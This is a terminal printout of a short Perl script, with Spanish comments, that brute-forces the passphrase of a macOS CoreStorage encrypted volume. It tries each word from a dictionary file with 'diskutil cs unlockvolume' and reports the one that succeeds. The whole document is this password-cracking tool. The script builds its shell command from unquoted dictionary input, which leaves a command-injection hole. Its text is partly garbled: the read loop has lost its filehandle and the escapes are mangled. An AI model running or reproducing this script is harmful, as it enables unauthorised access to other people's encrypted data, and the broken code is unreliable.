LawMac:Desktop Lawrence$ more bruteforcea.pl
#!/usr/bin/perl
use Getopt::Std;
getopts(\'u:d:\');
die "Usage $0 -u -d \\n" if (!$opt_u && !$opt_d);
#Guardamos parametros
my $uid=$opt_u;
my $dict=$opt_d;
open (FILE,"<$dict");
#Por cada posible contraseƱa generada, probamos
while ()
{
chomp ($_);
my $resp=`diskutil cs unlockvolume $uid -passphrase $_ `;
#Si acertamos, indicamos la contraseƱa correcta
if ($resp =~ m/successfully/i)
{
print "Password found!!! It was \\"$_\\"\\n";
print "$resp\\n";
exit(0);
}
}
close (FILE);
print "Password not found in diccionary $dict. Insert coin and play again\\n";